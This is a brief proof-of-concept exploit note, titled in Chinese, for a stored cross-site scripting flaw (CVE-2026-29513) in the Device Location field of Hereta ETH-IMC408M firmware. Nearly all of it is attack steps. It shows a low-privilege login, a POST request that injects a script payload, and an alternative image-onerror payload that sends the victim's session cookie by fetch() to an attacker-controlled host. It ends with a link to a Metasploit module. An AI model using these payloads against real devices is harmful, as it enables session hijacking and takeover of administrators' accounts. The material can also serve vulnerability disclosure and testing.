CVE-2026-29513 Hereta ETH-IMC408M 存储型XSS漏洞

// CVE-2026-29513 PoC - Stored XSS in Hereta ETH-IMC408M Device Location Field // Target: Hereta ETH-IMC408M firmware <= 1.0.15 // Attack Vector: Inject JavaScript via Device Location field in System Status interface // Step 1: Authenticate with low-privilege account // POST /login HTTP/1.1 // username=attacker&password=password123 // Step 2: Inject XSS payload in Device Location field // POST /api/device/location HTTP/1.1 // {"location": "<script>alert(document.cookie)</script>"} // Alternative payload for session hijacking: const xssPayload = ` <img src=x onerror=" fetch('https://attacker.com/steal?cookie='+document.cookie) "> `; // Step 3: Wait for victim to view System Status page // When victim visits the page, XSS payload executes in their browser context // Metasploit module reference: // https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/CVE-2026-29513